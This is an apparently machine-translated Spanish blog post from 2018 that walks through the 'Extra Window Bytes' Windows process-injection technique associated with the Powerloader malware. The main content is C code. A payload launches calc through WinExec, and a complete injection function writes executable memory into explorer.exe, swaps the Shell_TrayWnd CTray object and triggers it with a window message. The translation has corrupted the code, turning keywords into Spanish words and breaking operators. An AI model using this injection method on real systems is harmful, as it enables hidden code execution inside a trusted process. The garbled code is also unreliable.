jueves, 4 de octubre de 2018

Proceso de inyección de Windows:Extra Window Bytes

Introducción
Este método de inyección es famoso por ser utilizado en el malware Powerloader que surgió en algún momento alrededor de 2013. Nadie sabe con certeza cuándo se usó por primera vez para la inyección de procesos porque la característica explotada ha sido parte del sistema operativo Windows desde finales de los 80 o principios de los 90. . El índice cero de los bytes adicionales de la ventana se puede usar para asociar un objeto de clase con una ventana. Un puntero a un objeto de clase se almacena en el índice cero utilizando SetWindowLongPtr y se puede recuperar uno utilizando GetWindowLongPtr . La primera mención de usar "Shell_TrayWnd" como un vector de inyección puede ser rastreada hasta una publicación en el foro de WASM por un usuario llamado "Indy (Empleado)". Hubo una discusión al respecto alrededor del 2009.
La Figura 1 muestra información para la clase "Shell_TrayWnd" donde puede ver que el índice cero de la ventana Bytes tiene un valor establecido.
Figura 1: Información de Windows Spy ++ para Shell_TrayWnd
Windows Spy ++ no muestra el valor completo de 64 bits aquí, pero se muestra en la figura 2, que muestra el valor devuelto por la API GetWindowLongPtr para la misma ventana.
Figura 2: Dirección completa del objeto CTray

Clase CTray

Solo hay tres métodos en esta clase y no hay propiedades. Los punteros a cada método son de solo lectura, por lo que no podemos simplemente sobrescribir el puntero a WndProc con un puntero a una carga útil. Podemos construir el objeto manualmente, pero creo que un mejor enfoque es copiar el objeto existente en la memoria local, sobrescribir WndProc y escribir el objeto en una nueva ubicación en la memoria del explorador. La siguiente estructura se utiliza para definir el objeto y el puntero.
  // objeto CTray para Shell_TrayWnd
 typedef struct _ctray_vtable {
     ULONG_PTR vTable ;  // cambiar a la dirección de memoria remota
     ULONG_PTR AddRef ;
     Lanzamiento de ULONG_PTR ;
     ULONG_PTR WndProc ;  // procedimiento de ventana (cambio a carga útil)
 } CTray ;
La estructura anterior contiene todo lo necesario para reemplazar el objeto CTray en sistemas de 32 y 64 bits. El tamaño de ULONG_PTR es de 4 bytes en sistemas de 32 bits y de 8 bytes en 64 bits.

Carga útil

La principal diferencia entre esto y el código utilizado para PROPagate es la función prototipo. Si no publicamos la misma cantidad de parámetros al regresar a la persona que llama, corremos el riesgo de bloquear el explorador de Windows o cualquier ventana que tenga una clase asociada.
  LRESULT CALLBACK WndProc ( HWND hWnd , UINT uMsg ,
   WPARAM wParam , LPARAM lParam )
 {
     // ignorar los mensajes que no sean WM_CLOSE
     if ( uMsg ! = WM_CLOSE ) devuelve 0 ;
    
     WinExec_t pWinExec ;
     DWORD szWinExec [ 2 ] ,
               szCalc [ 2 ] ;

     // WinExec
     szWinExec [ 0 ] = 0x456E6957 ;
     szWinExec [ 1 ] = 0x00636578 ;

     // calc
     szCalc [ 0 ] = 0x636C6163 ;
     szCalc [ 1 ] = 0 ;

     pWinExec = ( WinExec_t ) xGetProcAddress ( szWinExec ) ;
     if ( pWinExec ! = NULL ) {
       pWinExec ( ( LPSTR ) szCalc , SW_SHOW ) ;
     }
     devuelve 0 ;
 }

Función completa

Así que aquí está la función para realizar la inyección cuando se proporciona un Código Independiente de Posición (PIC). Al igual que con todos estos ejemplos, omito la verificación de errores para ayudar a visualizar el proceso en pasos.
 LPVOID ewm ( LPVOID payload , DWORD payloadSize ) { LPVOID cs , ds ;  CTray ct ;  ULONG_PTR ctp ;  HWND hw ;  Maneja hp ;  DWORD pid ;  SIZE_T wr ;  // 1. Obtenga un controlador para la ventana de la bandeja de shell hw = FindWindow ( " Shell_TrayWnd " , NULL ) ;  // 2. Obtenga un identificador de proceso para explorer.exe GetWindowThreadProcessId ( hw , & pid ) ;  // 3. Abra explorer.exe hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ) ;  // 4. Obtener el puntero al objeto CTray actual ctp = GetWindowLongPtr ( hw , 0 ) ;  // 5. Leer la dirección del objeto CTray actual ReadProcessMemory ( hp , ( LPVOID ) ctp , ( LPVOID ) & ct . VTable , sizeof ( ULONG_PTR ) , & wr ) ;  // 6. Lea tres direcciones de la tabla virtual ReadProcessMemory ( hp , ( LPVOID ) ct . VTable , ( LPVOID ) & ct . AddRef , sizeof ( ULONG_PTR ) * 3 , & wr ) ;  // 7. Asigne memoria RWX para el código cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE ) ;  // 8. Copie el código al proceso de destino WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ;  // 9. Asigne memoria RW para el nuevo objeto CTray ds = VirtualAllocEx ( hp , NULL , sizeof ( ct ) , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ) ;  // 10. Escribe el nuevo objeto CTray en la memoria remota ct .  vTable = ( ULONG_PTR ) ds + sizeof ( ULONG_PTR ) ;  ct  WndProc = ( ULONG_PTR ) cs ;  WriteProcessMemory ( hp , ds , & ct , sizeof ( ct ) , & wr ) ;  // 11. Establecer el nuevo puntero al objeto CTray SetWindowLongPtr ( hw , 0 , ( ULONG_PTR ) ds ) ;  // 12. Activar la carga útil a través de un mensaje de Windows PostMessage ( hw , WM_CLOSE , 0 , 0 ) ;  // 13. Restaure el objeto original CTray SetWindowLongPtr ( hw , 0 , ctp ) ;  // 14. Libere la memoria y cierre los controladores VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ;  VirtualFreeEx ( hp , ds , 0 , MEM_DECOMMIT | MEM_RELEASE ) ;  CloseHandle ( hp ) ;  } 

Resumen

Los métodos de inyección como este contra objetos de ventana generalmente caen dentro de la categoría de ataques de "fragmentación". A pesar de las mitigaciones proporcionadas por el Aislamiento de privilegios de la interfaz de usuario (UIPI) introducido con el lanzamiento de Windows Vista, este método de inyección sigue funcionando bien en la última versión de Windows 10. Puede ver el código fuente aquí con una carga útil que ejecuta la calculadora.

No hay comentarios.:

Publicar un comentario